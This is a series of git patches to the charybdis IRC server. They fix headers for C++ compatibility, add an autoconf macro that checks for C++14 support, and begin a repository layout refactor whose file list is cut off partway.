From acd516444a1dfca3e702eb6b695bb57475c57a2c Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Mon, 20 Jun 2016 17:45:31 -0700 Subject: [PATCH 01/23] Fix header compatibility with c++ dialects. This allows the option of at least -std=gnu++14 for new translation units. Changes are trivial. --- include/ircd.h | 1 - include/s_newconf.h | 2 +- ircd/class.c | 4 ++-- ircd/client.c | 2 +- ircd/s_newconf.c | 14 +++++++------- ircd/s_serv.c | 2 +- librb/include/rb_commio.h | 2 +- librb/include/rb_dlink.h | 2 +- librb/include/rb_memory.h | 4 ++-- 9 files changed, 16 insertions(+), 17 deletions(-) diff --git a/include/ircd.h b/include/ircd.h index f01510c7c..dbd13434b 100644 --- a/include/ircd.h +++ b/include/ircd.h @@ -28,7 +28,6 @@ #include "defaults.h" struct Client; -struct rb_dlink_list; struct SetOptions { diff --git a/include/s_newconf.h b/include/s_newconf.h index 4218a8282..3866eae50 100644 --- a/include/s_newconf.h +++ b/include/s_newconf.h @@ -203,7 +203,7 @@ struct server_conf #endif char *class_name; - struct Class *class; + struct Class *_class; rb_dlink_node node; }; diff --git a/ircd/class.c b/ircd/class.c index 71a221d15..0381f2cf6 100644 --- a/ircd/class.c +++ b/ircd/class.c @@ -131,7 +131,7 @@ get_client_ping(struct Client *target_p) if(IsServer(target_p)) { struct server_conf *server_p = target_p->localClient->att_sconf; - ping = PingFreq(server_p->class); + ping = PingFreq(server_p->_class); } else { @@ -325,7 +325,7 @@ get_sendq(struct Client *client_p) { struct server_conf *server_p; server_p = client_p->localClient->att_sconf; - return MaxSendq(server_p->class); + return MaxSendq(server_p->_class); } else { diff --git a/ircd/client.c b/ircd/client.c index 9ec5c6cc7..9ec53b95c 100644 --- a/ircd/client.c +++ b/ircd/client.c @@ -2005,7 +2005,7 @@ close_connection(struct Client *client_p) server_p->hold = time(NULL); server_p->hold += (server_p->hold - client_p->localClient->lasttime > - HANGONGOODLINK) ? HANGONRETRYDELAY : ConFreq(server_p->class); + HANGONGOODLINK) ? HANGONRETRYDELAY : ConFreq(server_p->_class); } } diff --git a/ircd/s_newconf.c b/ircd/s_newconf.c index b4c3d419e..9ae02b571 100644 --- a/ircd/s_newconf.c +++ b/ircd/s_newconf.c @@ -442,13 +442,13 @@ add_server_conf(struct server_conf *server_p) if(EmptyString(server_p->class_name)) { server_p->class_name = rb_strdup("default"); - server_p->class = default_class; + server_p->_class = default_class; return; } - server_p->class = find_class(server_p->class_name); + server_p->_class = find_class(server_p->class_name); - if(server_p->class == default_class) + if(server_p->_class == default_class) { conf_report_error("Warning connect::class invalid for %s", server_p->name); @@ -511,7 +511,7 @@ attach_server_conf(struct Client *client_p, struct server_conf *server_p) detach_server_conf(client_p); } - CurrUsers(server_p->class)++; + CurrUsers(server_p->_class)++; client_p->localClient->att_sconf = server_p; server_p->servers++; @@ -527,13 +527,13 @@ detach_server_conf(struct Client *client_p) client_p->localClient->att_sconf = NULL; server_p->servers--; - CurrUsers(server_p->class)--; + CurrUsers(server_p->_class)--; if(ServerConfIllegal(server_p) && !server_p->servers) { /* the class this one is using may need destroying too */ - if(MaxUsers(server_p->class) < 0 && CurrUsers(server_p->class) <= 0) - free_class(server_p->class); + if(MaxUsers(server_p->_class) < 0 && CurrUsers(server_p->_class) <= 0) + free_class(server_p->_class); rb_dlinkDelete(&server_p->node, &server_conf_list); free_server_conf(server_p); diff --git a/ircd/s_serv.c b/ircd/s_serv.c index 5c3fa62a0..eba860ec2 100644 --- a/ircd/s_serv.c +++ b/ircd/s_serv.c @@ -272,7 +272,7 @@ try_connections(void *unused) if(ServerConfSSL(tmp_p) && (!ircd_ssl_ok || !get_ssld_count())) continue; - cltmp = tmp_p->class; + cltmp = tmp_p->_class; /* * Skip this entry if the use of it is still on hold until diff --git a/librb/include/rb_commio.h b/librb/include/rb_commio.h index f4dc687ba..58b08c3a5 100644 --- a/librb/include/rb_commio.h +++ b/librb/include/rb_commio.h @@ -191,6 +191,6 @@ rb_fde_t *rb_recv_fd(rb_fde_t *); const char *rb_ssl_get_cipher(rb_fde_t *F); -int rb_ipv4_from_ipv6(const struct sockaddr_in6 *restrict ip6, struct sockaddr_in *restrict ip4); +int rb_ipv4_from_ipv6(const struct sockaddr_in6 *__restrict__ ip6, struct sockaddr_in *__restrict__ ip4); #endif /* INCLUDED_commio_h */ diff --git a/librb/include/rb_dlink.h b/librb/include/rb_dlink.h index e793ae6d9..4a7359c3c 100644 --- a/librb/include/rb_dlink.h +++ b/librb/include/rb_dlink.h @@ -278,7 +278,7 @@ rb_dlinkFindDestroy(void *data, rb_dlink_list *list) if(ptr != NULL) { - rb_free_rb_dlink_node(ptr); + rb_free_rb_dlink_node((rb_dlink_node *)ptr); return 1; } return 0; diff --git a/librb/include/rb_memory.h b/librb/include/rb_memory.h index 7c0ac969a..0b61204ec 100644 --- a/librb/include/rb_memory.h +++ b/librb/include/rb_memory.h @@ -70,7 +70,7 @@ __attribute__((returns_nonnull)) static inline char * rb_strndup(const char *x, size_t y) { - char *ret = malloc(y); + char *ret = (char *)malloc(y); if(rb_unlikely(ret == NULL)) rb_outofmemory(); rb_strlcpy(ret, x, y); @@ -81,7 +81,7 @@ __attribute__((returns_nonnull)) static inline char * rb_strdup(const char *x) { - char *ret = malloc(strlen(x) + 1); + char *ret = (char *)malloc(strlen(x) + 1); if(rb_unlikely(ret == NULL)) rb_outofmemory(); strcpy(ret, x); From b9030590752a7282e436e6de50571f4d736efae5 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Wed, 29 Jun 2016 01:27:00 -0700 Subject: [PATCH 02/23] Autotools preparation for GNU++14. Files with the suffix .cpp will automatically integrate. --- configure.ac | 4 +- librb/configure.ac | 3 +- m4/ax_cxx_compile_stdcxx.m4 | 562 ++++++++++++++++++++++++++++++++++++ 3 files changed, 567 insertions(+), 2 deletions(-) create mode 100644 m4/ax_cxx_compile_stdcxx.m4 diff --git a/configure.ac b/configure.ac index 85552a097..ef8783050 100644 --- a/configure.ac +++ b/configure.ac @@ -11,11 +11,13 @@ AC_USE_SYSTEM_EXTENSIONS AC_GNU_SOURCE AC_PROG_CC_C99 - if test x"$ac_cv_prog_cc_c99" = "xno"; then AC_ERROR([charybdis requires a C99 capable compiler]) fi +AC_PROG_CXX +AX_CXX_COMPILE_STDCXX_14([ext], [mandatory]) + AC_PREFIX_DEFAULT($HOME/ircd) AC_CONFIG_MACRO_DIR([m4]) AC_CONFIG_HEADER(include/setup.h) diff --git a/librb/configure.ac b/librb/configure.ac index 2556a9644..13ea7d192 100644 --- a/librb/configure.ac +++ b/librb/configure.ac @@ -23,13 +23,14 @@ if test x"$ac_cv_prog_cc_c99" = "xno"; then AC_ERROR([charybdis requires a C99 capable compiler]) fi +AC_PROG_CXX +AX_CXX_COMPILE_STDCXX_14([ext], [mandatory]) AC_PROG_INSTALL AC_PROG_EGREP AC_PROG_SED F77=no -CXX=no GCJ=no AM_DISABLE_STATIC diff --git a/m4/ax_cxx_compile_stdcxx.m4 b/m4/ax_cxx_compile_stdcxx.m4 new file mode 100644 index 000000000..2c18e49c5 --- /dev/null +++ b/m4/ax_cxx_compile_stdcxx.m4 @@ -0,0 +1,562 @@ +# =========================================================================== +# http://www.gnu.org/software/autoconf-archive/ax_cxx_compile_stdcxx.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_CXX_COMPILE_STDCXX(VERSION, [ext|noext], [mandatory|optional]) +# +# DESCRIPTION +# +# Check for baseline language coverage in the compiler for the specified +# version of the C++ standard. If necessary, add switches to CXX and +# CXXCPP to enable support. VERSION may be '11' (for the C++11 standard) +# or '14' (for the C++14 standard). +# +# The second argument, if specified, indicates whether you insist on an +# extended mode (e.g. -std=gnu++11) or a strict conformance mode (e.g. +# -std=c++11). If neither is specified, you get whatever works, with +# preference for an extended mode. +# +# The third argument, if specified 'mandatory' or if left unspecified, +# indicates that baseline support for the specified C++ standard is +# required and that the macro should error out if no mode with that +# support is found. If specified 'optional', then configuration proceeds +# regardless, after defining HAVE_CXX${VERSION} if and only if a +# supporting mode is found. +# +# LICENSE +# +# Copyright (c) 2008 Benjamin Kosnik +# Copyright (c) 2012 Zack Weinberg +# Copyright (c) 2013 Roy Stogner +# Copyright (c) 2014, 2015 Google Inc.; contributed by Alexey Sokolov +# Copyright (c) 2015 Paul Norman +# Copyright (c) 2015 Moritz Klammler +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. + +#serial 4 + +dnl This macro is based on the code from the AX_CXX_COMPILE_STDCXX_11 macro +dnl (serial version number 13). + +AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl + m4_if([$1], [11], [], + [$1], [14], [], + [$1], [17], [m4_fatal([support for C++17 not yet implemented in AX_CXX_COMPILE_STDCXX])], + [m4_fatal([invalid first argument `$1' to AX_CXX_COMPILE_STDCXX])])dnl + m4_if([$2], [], [], + [$2], [ext], [], + [$2], [noext], [], + [m4_fatal([invalid second argument `$2' to AX_CXX_COMPILE_STDCXX])])dnl + m4_if([$3], [], [ax_cxx_compile_cxx$1_required=true], + [$3], [mandatory], [ax_cxx_compile_cxx$1_required=true], + [$3], [optional], [ax_cxx_compile_cxx$1_required=false], + [m4_fatal([invalid third argument `$3' to AX_CXX_COMPILE_STDCXX])]) + AC_LANG_PUSH([C++])dnl + ac_success=no + AC_CACHE_CHECK(whether $CXX supports C++$1 features by default, + ax_cv_cxx_compile_cxx$1, + [AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1])], + [ax_cv_cxx_compile_cxx$1=yes], + [ax_cv_cxx_compile_cxx$1=no])]) + if test x$ax_cv_cxx_compile_cxx$1 = xyes; then + ac_success=yes + fi + + m4_if([$2], [noext], [], [dnl + if test x$ac_success = xno; then + for switch in -std=gnu++$1 -std=gnu++0x; do + cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx$1_$switch]) + AC_CACHE_CHECK(whether $CXX supports C++$1 features with $switch, + $cachevar, + [ac_save_CXX="$CXX" + CXX="$CXX $switch" + AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1])], + [eval $cachevar=yes], + [eval $cachevar=no]) + CXX="$ac_save_CXX"]) + if eval test x\$$cachevar = xyes; then + CXX="$CXX $switch" + if test -n "$CXXCPP" ; then + CXXCPP="$CXXCPP $switch" + fi + ac_success=yes + break + fi + done + fi]) + + m4_if([$2], [ext], [], [dnl + if test x$ac_success = xno; then + dnl HP's aCC needs +std=c++11 according to: + dnl http://h21007.www2.hp.com/portal/download/files/unprot/aCxx/PDF_Release_Notes/769149-001.pdf + dnl Cray's crayCC needs "-h std=c++11" + for switch in -std=c++$1 -std=c++0x +std=c++$1 "-h std=c++$1"; do + cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx$1_$switch]) + AC_CACHE_CHECK(whether $CXX supports C++$1 features with $switch, + $cachevar, + [ac_save_CXX="$CXX" + CXX="$CXX $switch" + AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1])], + [eval $cachevar=yes], + [eval $cachevar=no]) + CXX="$ac_save_CXX"]) + if eval test x\$$cachevar = xyes; then + CXX="$CXX $switch" + if test -n "$CXXCPP" ; then + CXXCPP="$CXXCPP $switch" + fi + ac_success=yes + break + fi + done + fi]) + AC_LANG_POP([C++]) + if test x$ax_cxx_compile_cxx$1_required = xtrue; then + if test x$ac_success = xno; then + AC_MSG_ERROR([*** A compiler with support for C++$1 language features is required.]) + fi + fi + if test x$ac_success = xno; then + HAVE_CXX$1=0 + AC_MSG_NOTICE([No compiler with C++$1 support was found]) + else + HAVE_CXX$1=1 + AC_DEFINE(HAVE_CXX$1,1, + [define if the compiler supports basic C++$1 syntax]) + fi + AC_SUBST(HAVE_CXX$1) +]) + + +dnl Test body for checking C++11 support + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_11], + _AX_CXX_COMPILE_STDCXX_testbody_new_in_11 +) + + +dnl Test body for checking C++14 support + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_14], + _AX_CXX_COMPILE_STDCXX_testbody_new_in_11 + _AX_CXX_COMPILE_STDCXX_testbody_new_in_14 +) + + +dnl Tests for new features in C++11 + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_new_in_11], [[ + +// If the compiler admits that it is not ready for C++11, why torture it? +// Hopefully, this will speed up the test. + +#ifndef __cplusplus + +#error "This is not a C++ compiler" + +#elif __cplusplus < 201103L + +#error "This is not a C++11 compiler" + +#else + +namespace cxx11 +{ + + namespace test_static_assert + { + + template + struct check + { + static_assert(sizeof(int) <= sizeof(T), "not big enough"); + }; + + } + + namespace test_final_override + { + + struct Base + { + virtual void f() {} + }; + + struct Derived : public Base + { + virtual void f() override {} + }; + + } + + namespace test_double_right_angle_brackets + { + + template < typename T > + struct check {}; + + typedef check single_type; + typedef check> double_type; + typedef check>> triple_type; + typedef check>>> quadruple_type; + + } + + namespace test_decltype + { + + int + f() + { + int a = 1; + decltype(a) b = 2; + return a + b; + } + + } + + namespace test_type_deduction + { + + template < typename T1, typename T2 > + struct is_same + { + static const bool value = false; + }; + + template < typename T > + struct is_same + { + static const bool value = true; + }; + + template < typename T1, typename T2 > + auto + add(T1 a1, T2 a2) -> decltype(a1 + a2) + { + return a1 + a2; + } + + int + test(const int c, volatile int v) + { + static_assert(is_same::value == true, ""); + static_assert(is_same::value == false, ""); + static_assert(is_same::value == false, ""); + auto ac = c; + auto av = v; + auto sumi = ac + av + 'x'; + auto sumf = ac + av + 1.0; + static_assert(is_same::value == true, ""); + static_assert(is_same::value == true, ""); + static_assert(is_same::value == true, ""); + static_assert(is_same::value == false, ""); + static_assert(is_same::value == true, ""); + return (sumf > 0.0) ? sumi : add(c, v); + } + + } + + namespace test_noexcept + { + + int f() { return 0; } + int g() noexcept { return 0; } + + static_assert(noexcept(f()) == false, ""); + static_assert(noexcept(g()) == true, ""); + + } + + namespace test_constexpr + { + + template < typename CharT > + unsigned long constexpr + strlen_c_r(const CharT *const s, const unsigned long acc) noexcept + { + return *s ? strlen_c_r(s + 1, acc + 1) : acc; + } + + template < typename CharT > + unsigned long constexpr + strlen_c(const CharT *const s) noexcept + { + return strlen_c_r(s, 0UL); + } + + static_assert(strlen_c("") == 0UL, ""); + static_assert(strlen_c("1") == 1UL, ""); + static_assert(strlen_c("example") == 7UL, ""); + static_assert(strlen_c("another\0example") == 7UL, ""); + + } + + namespace test_rvalue_references + { + + template < int N > + struct answer + { + static constexpr int value = N; + }; + + answer<1> f(int&) { return answer<1>(); } + answer<2> f(const int&) { return answer<2>(); } + answer<3> f(int&&) { return answer<3>(); } + + void + test() + { + int i = 0; + const int c = 0; + static_assert(decltype(f(i))::value == 1, ""); + static_assert(decltype(f(c))::value == 2, ""); + static_assert(decltype(f(0))::value == 3, ""); + } + + } + + namespace test_uniform_initialization + { + + struct test + { + static const int zero {}; + static const int one {1}; + }; + + static_assert(test::zero == 0, ""); + static_assert(test::one == 1, ""); + + } + + namespace test_lambdas + { + + void + test1() + { + auto lambda1 = [](){}; + auto lambda2 = lambda1; + lambda1(); + lambda2(); + } + + int + test2() + { + auto a = [](int i, int j){ return i + j; }(1, 2); + auto b = []() -> int { return '0'; }(); + auto c = [=](){ return a + b; }(); + auto d = [&](){ return c; }(); + auto e = [a, &b](int x) mutable { + const auto identity = [](int y){ return y; }; + for (auto i = 0; i < a; ++i) + a += b--; + return x + identity(a + b); + }(0); + return a + b + c + d + e; + } + + int + test3() + { + const auto nullary = [](){ return 0; }; + const auto unary = [](int x){ return x; }; + using nullary_t = decltype(nullary); + using unary_t = decltype(unary); + const auto higher1st = [](nullary_t f){ return f(); }; + const auto higher2nd = [unary](nullary_t f1){ + return [unary, f1](unary_t f2){ return f2(unary(f1())); }; + }; + return higher1st(nullary) + higher2nd(nullary)(unary); + } + + } + + namespace test_variadic_templates + { + + template + struct sum; + + template + struct sum + { + static constexpr auto value = N0 + sum::value; + }; + + template <> + struct sum<> + { + static constexpr auto value = 0; + }; + + static_assert(sum<>::value == 0, ""); + static_assert(sum<1>::value == 1, ""); + static_assert(sum<23>::value == 23, ""); + static_assert(sum<1, 2>::value == 3, ""); + static_assert(sum<5, 5, 11>::value == 21, ""); + static_assert(sum<2, 3, 5, 7, 11, 13>::value == 41, ""); + + } + + // http://stackoverflow.com/questions/13728184/template-aliases-and-sfinae + // Clang 3.1 fails with headers of libstd++ 4.8.3 when using std::function + // because of this. + namespace test_template_alias_sfinae + { + + struct foo {}; + + template + using member = typename T::member_type; + + template + void func(...) {} + + template + void func(member*) {} + + void test(); + + void test() { func(0); } + + } + +} // namespace cxx11 + +#endif // __cplusplus >= 201103L + +]]) + + +dnl Tests for new features in C++14 + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_new_in_14], [[ + +// If the compiler admits that it is not ready for C++14, why torture it? +// Hopefully, this will speed up the test. + +#ifndef __cplusplus + +#error "This is not a C++ compiler" + +#elif __cplusplus < 201402L + +#error "This is not a C++14 compiler" + +#else + +namespace cxx14 +{ + + namespace test_polymorphic_lambdas + { + + int + test() + { + const auto lambda = [](auto&&... args){ + const auto istiny = [](auto x){ + return (sizeof(x) == 1UL) ? 1 : 0; + }; + const int aretiny[] = { istiny(args)... }; + return aretiny[0]; + }; + return lambda(1, 1L, 1.0f, '1'); + } + + } + + namespace test_binary_literals + { + + constexpr auto ivii = 0b0000000000101010; + static_assert(ivii == 42, "wrong value"); + + } + + namespace test_generalized_constexpr + { + + template < typename CharT > + constexpr unsigned long + strlen_c(const CharT *const s) noexcept + { + auto length = 0UL; + for (auto p = s; *p; ++p) + ++length; + return length; + } + + static_assert(strlen_c("") == 0UL, ""); + static_assert(strlen_c("x") == 1UL, ""); + static_assert(strlen_c("test") == 4UL, ""); + static_assert(strlen_c("another\0test") == 7UL, ""); + + } + + namespace test_lambda_init_capture + { + + int + test() + { + auto x = 0; + const auto lambda1 = [a = x](int b){ return a + b; }; + const auto lambda2 = [a = lambda1(x)](){ return a; }; + return lambda2(); + } + + } + + namespace test_digit_seperators + { + + constexpr auto ten_million = 100'000'000; + static_assert(ten_million == 100000000, ""); + + } + + namespace test_return_type_deduction + { + + auto f(int& x) { return x; } + decltype(auto) g(int& x) { return x; } + + template < typename T1, typename T2 > + struct is_same + { + static constexpr auto value = false; + }; + + template < typename T > + struct is_same + { + static constexpr auto value = true; + }; + + int + test() + { + auto x = 0; + static_assert(is_same::value, ""); + static_assert(is_same::value, ""); + return x; + } + + } + +} // namespace cxx14 + +#endif // __cplusplus >= 201402L + +]]) From 007c6bf49688c6a9a69948bb41632fd918a5fc26 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Thu, 30 Jun 2016 18:52:50 -0700 Subject: [PATCH 03/23] ircd/librb: Move "AFP" macro from ircd to rb. --- include/ircd_defs.h | 9 --------- librb/include/rb_lib.h | 9 +++++++++ 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/include/ircd_defs.h b/include/ircd_defs.h index 40db53839..eb5294081 100644 --- a/include/ircd_defs.h +++ b/include/ircd_defs.h @@ -37,15 +37,6 @@ #include "defaults.h" -/* For those unfamiliar with GNU format attributes, a is the 1 based - * argument number of the format string, and b is the 1 based argument - * number of the variadic ... */ -#ifdef __GNUC__ -#define AFP(a,b) __attribute__((format (printf, a, b))) -#else -#define AFP(a,b) -#endif - /* * This ensures that __attribute__((deprecated)) is not used in for example * sun CC, since it's a GNU-specific extension. -nenolod diff --git a/librb/include/rb_lib.h b/librb/include/rb_lib.h index dcf2edabe..4a5d76c73 100644 --- a/librb/include/rb_lib.h +++ b/librb/include/rb_lib.h @@ -228,6 +228,15 @@ while(0) #define UINT32_MAX (4294967295U) #endif +/* For those unfamiliar with GNU format attributes, a is the 1 based + * argument number of the format string, and b is the 1 based argument + * number of the variadic ... */ +#ifdef __GNUC__ +#define AFP(a,b) __attribute__((format (printf, a, b))) +#else +#define AFP(a,b) +#endif + typedef void log_cb(const char *buffer); typedef void restart_cb(const char *buffer); From ea53aab823230f6f477409b1841049fa8775cf03 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Thu, 30 Jun 2016 20:04:00 -0700 Subject: [PATCH 04/23] Refactor repository layout. * librb is no longer a separately configured subproject. * charybdis is now a standalone directory with a binary. * Include path layout now requires a directory ircd/ rb/ etc. --- .gitignore | 26 +- Makefile.am | 59 +- authd/Makefile.am | 6 +- authd/authd.h | 7 +- authd/dns.h | 2 +- authd/getaddrinfo.c | 4 +- authd/getnameinfo.c | 2 +- authd/provider.c | 4 +- authd/provider.h | 3 +- authd/providers/blacklist.c | 2 - authd/providers/ident.c | 5 +- authd/providers/opm.c | 5 +- authd/providers/rdns.c | 3 +- authd/res.c | 3 +- authd/reslib.c | 11 +- authd/reslist.c | 3 +- autogen.sh | 7 - bandb/Makefile.am | 9 +- bandb/bandb.c | 6 +- bandb/bantool.c | 2 +- bandb/rsdb_snprintf.c | 2 +- bandb/rsdb_sqlite3.c | 2 +- charybdis/.gitignore | 1 + charybdis/Makefile.am | 12 + charybdis/charybdis.cc | 30 + configure.ac | 701 +++++++++++++++--- extensions/Makefile.am | 4 +- extensions/chm_adminonly.c | 22 +- extensions/chm_insecure.c | 22 +- extensions/chm_nonotice.c | 26 +- extensions/chm_operonly.c | 22 +- extensions/chm_operonly_compat.c | 12 +- extensions/chm_operpeace.c | 28 +- extensions/chm_quietunreg_compat.c | 12 +- extensions/chm_spamfilter.c | 16 +- extensions/chm_sslonly.c | 22 +- extensions/chm_sslonly_compat.c | 12 +- extensions/createauthonly.c | 18 +- extensions/createoperonly.c | 18 +- extensions/example_module.c | 12 +- extensions/extb_account.c | 8 +- extensions/extb_canjoin.c | 12 +- extensions/extb_channel.c | 12 +- extensions/extb_combi.c | 8 +- extensions/extb_extgecos.c | 8 +- extensions/extb_hostmask.c | 8 +- extensions/extb_oper.c | 12 +- extensions/extb_realname.c | 8 +- extensions/extb_server.c | 8 +- extensions/extb_ssl.c | 8 +- extensions/extb_usermode.c | 22 +- extensions/force_user_invis.c | 16 +- extensions/helpops.c | 20 +- extensions/hide_uncommon_channels.c | 16 +- extensions/hurt.c | 26 +- extensions/ip_cloaking.c | 22 +- extensions/ip_cloaking_3.0.c | 20 +- extensions/ip_cloaking_4.0.c | 22 +- extensions/ip_cloaking_old.c | 20 +- extensions/m_adminwall.c | 28 +- extensions/m_echotags.c | 10 +- extensions/m_extendchans.c | 12 +- extensions/m_findforwards.c | 32 +- extensions/m_identify.c | 26 +- extensions/m_locops.c | 28 +- extensions/m_mkpasswd.c | 14 +- extensions/m_ojoin.c | 34 +- extensions/m_okick.c | 32 +- extensions/m_omode.c | 36 +- extensions/m_opme.c | 34 +- extensions/m_remove.c | 32 +- extensions/m_roleplay.c | 28 +- extensions/m_sendbans.c | 27 +- extensions/m_webirc.c | 28 +- extensions/no_kill_services.c | 26 +- extensions/no_locops.c | 16 +- extensions/no_oper_invis.c | 16 +- extensions/override.c | 26 +- extensions/restrict-unauthenticated.c | 26 +- extensions/sno_channelcreate.c | 17 +- extensions/sno_farconnect.c | 16 +- extensions/sno_globalkline.c | 14 +- extensions/sno_globalnickchange.c | 16 +- extensions/sno_globaloper.c | 16 +- extensions/sno_whois.c | 12 +- extensions/spamfilter_expr.c | 18 +- extensions/spamfilter_nicks.c | 14 +- extensions/spy_admin_notice.c | 12 +- extensions/spy_info_notice.c | 12 +- extensions/spy_links_notice.c | 12 +- extensions/spy_motd_notice.c | 12 +- extensions/spy_stats_notice.c | 12 +- extensions/spy_stats_p_notice.c | 12 +- extensions/spy_trace_notice.c | 12 +- extensions/umode_noctcp.c | 18 +- include/ircd/.gitignore | 2 + include/{ => ircd}/authproc.h | 1 - include/{ => ircd}/bandbi.h | 0 include/{ => ircd}/cache.h | 2 - include/{ => ircd}/capability.h | 1 - include/{ => ircd}/certfp.h | 0 include/{ => ircd}/channel.h | 2 +- include/{ => ircd}/chmode.h | 0 include/{ => ircd}/class.h | 0 include/{ => ircd}/client.h | 3 +- include/{ => ircd}/defaults.h | 6 +- include/{ => ircd}/dns.h | 0 include/{ => ircd}/hash.h | 4 +- include/{ => ircd}/hook.h | 0 include/{ => ircd}/hostmask.h | 0 include/{ => ircd}/inline/stringops.h | 0 include/{ => ircd}/ircd.h | 0 include/{ => ircd}/ircd_defs.h | 0 include/{ => ircd}/ircd_getopt.h | 0 include/{ => ircd}/ircd_linker.h | 0 include/{ => ircd}/ircd_signal.h | 0 include/{ => ircd}/listener.h | 2 +- include/{ => ircd}/logger.h | 0 include/{ => ircd}/m_info.h | 0 include/{ => ircd}/match.h | 3 +- include/{ => ircd}/messages.h | 0 include/{ => ircd}/modules.h | 7 +- include/{ => ircd}/monitor.h | 0 include/{ => ircd}/msg.h | 0 include/{ => ircd}/msgbuf.h | 0 include/{ => ircd}/newconf.h | 0 include/{ => ircd}/numeric.h | 0 include/{ => ircd}/operhash.h | 0 include/{ => ircd}/packet.h | 0 include/{ => ircd}/parse.h | 2 +- include/{ => ircd}/patchlevel.h | 2 +- include/{ => ircd}/privilege.h | 0 include/{ => ircd}/ratelimit.h | 0 include/{ => ircd}/reject.h | 0 include/{ => ircd}/restart.h | 0 include/{ => ircd}/s_assert.h | 0 include/{ => ircd}/s_conf.h | 2 +- include/{ => ircd}/s_newconf.h | 2 +- include/{ => ircd}/s_serv.h | 0 include/{ => ircd}/s_stats.h | 0 include/{ => ircd}/s_user.h | 0 include/{ => ircd}/scache.h | 0 include/{ => ircd}/send.h | 2 +- include/{ => ircd}/snomask.h | 0 include/{ => ircd}/sslproc.h | 0 include/{ => ircd}/stdinc.h | 2 +- include/{ => ircd}/substitution.h | 0 include/{ => ircd}/supported.h | 0 include/{ => ircd}/tgchange.h | 0 include/{ => ircd}/whowas.h | 4 +- include/{ => ircd}/wsproc.h | 0 include/rb/.gitignore | 1 + {librb/include => include/rb}/arc4random.h | 0 .../rb_balloc.h => include/rb/balloc.h | 9 +- .../rb_commio.h => include/rb/commio.h | 0 .../commio-int.h => include/rb/commio_int.h | 36 +- .../rb/dictionary.h | 2 - .../include/rb_dlink.h => include/rb/dlink.h | 0 .../include/rb_event.h => include/rb/event.h | 0 .../event-int.h => include/rb/event_int.h | 5 + .../rb_helper.h => include/rb/helper.h | 0 .../rb_linebuf.h => include/rb/linebuf.h | 0 .../rb_memory.h => include/rb/memory.h | 2 - .../rb_patricia.h => include/rb/patricia.h | 0 .../rb_radixtree.h => include/rb/radixtree.h | 0 .../rb_rawbuf.h => include/rb/rawbuf.h | 0 include/rb/rb.h | 68 ++ .../include/commio-ssl.h => include/rb/ssl.h | 4 +- librb/include/rb_lib.h => include/rb/system.h | 107 ++- .../include/rb_tools.h => include/rb/tools.h | 0 ircd/Makefile.am | 22 +- ircd/authproc.c | 33 +- ircd/bandbi.c | 33 +- ircd/cache.c | 16 +- ircd/capability.c | 7 +- ircd/channel.c | 34 +- ircd/chmode.c | 36 +- ircd/class.c | 21 +- ircd/client.c | 59 +- ircd/dns.c | 26 +- ircd/extban.c | 6 +- ircd/getopt.c | 5 +- ircd/hash.c | 29 +- ircd/hook.c | 6 +- ircd/hostmask.c | 13 +- ircd/ircd.c | 81 +- ircd/ircd_lexer.l | 12 +- ircd/ircd_parser.y | 12 +- ircd/ircd_signal.c | 16 +- ircd/listener.c | 38 +- ircd/logger.c | 13 +- ircd/main.c | 9 - ircd/match.c | 12 +- ircd/modules.c | 27 +- ircd/monitor.c | 13 +- ircd/msgbuf.c | 9 +- ircd/newconf.c | 43 +- ircd/operhash.c | 10 +- ircd/packet.c | 22 +- ircd/parse.c | 34 +- ircd/privilege.c | 14 +- ircd/ratelimit.c | 10 +- ircd/reject.c | 24 +- ircd/restart.c | 16 +- ircd/s_conf.c | 59 +- ircd/s_newconf.c | 27 +- ircd/s_serv.c | 51 +- ircd/s_user.c | 58 +- ircd/scache.c | 19 +- ircd/send.c | 29 +- ircd/snomask.c | 6 +- ircd/sslproc.c | 27 +- ircd/substitution.c | 12 +- ircd/supported.c | 18 +- ircd/tgchange.c | 20 +- ircd/version.c | 46 ++ ircd/version.c.SH | 83 --- ircd/whowas.c | 31 +- ircd/wsproc.c | 25 +- librb/COPYING | 340 --------- librb/CREDITS | 2 - librb/Makefile.am | 22 - librb/TODO | 2 - librb/acinclude.m4 | 172 ----- librb/autogen.sh | 89 --- librb/configure.ac | 698 ----------------- librb/install-sh | 501 ------------- librb/librb.pc.in | 14 - modules/Makefile.am | 3 +- modules/cap_account_tag.c | 24 +- modules/cap_server_time.c | 24 +- modules/chm_nocolour.c | 24 +- modules/chm_noctcp.c | 24 +- modules/core/m_ban.c | 34 +- modules/core/m_die.c | 26 +- modules/core/m_error.c | 18 +- modules/core/m_join.c | 36 +- modules/core/m_kick.c | 28 +- modules/core/m_kill.c | 30 +- modules/core/m_message.c | 40 +- modules/core/m_mode.c | 34 +- modules/core/m_modules.c | 30 +- modules/core/m_nick.c | 46 +- modules/core/m_part.c | 32 +- modules/core/m_quit.c | 22 +- modules/core/m_server.c | 32 +- modules/core/m_squit.c | 28 +- modules/m_accept.c | 22 +- modules/m_admin.c | 22 +- modules/m_alias.c | 26 +- modules/m_away.c | 24 +- modules/m_cap.c | 28 +- modules/m_capab.c | 16 +- modules/m_certfp.c | 18 +- modules/m_challenge.c | 28 +- modules/m_chghost.c | 34 +- modules/m_close.c | 16 +- modules/m_connect.c | 30 +- modules/m_dline.c | 38 +- modules/m_encap.c | 24 +- modules/m_etrace.c | 36 +- modules/m_grant.c | 20 +- modules/m_help.c | 25 +- modules/m_info.c | 34 +- modules/m_invite.c | 30 +- 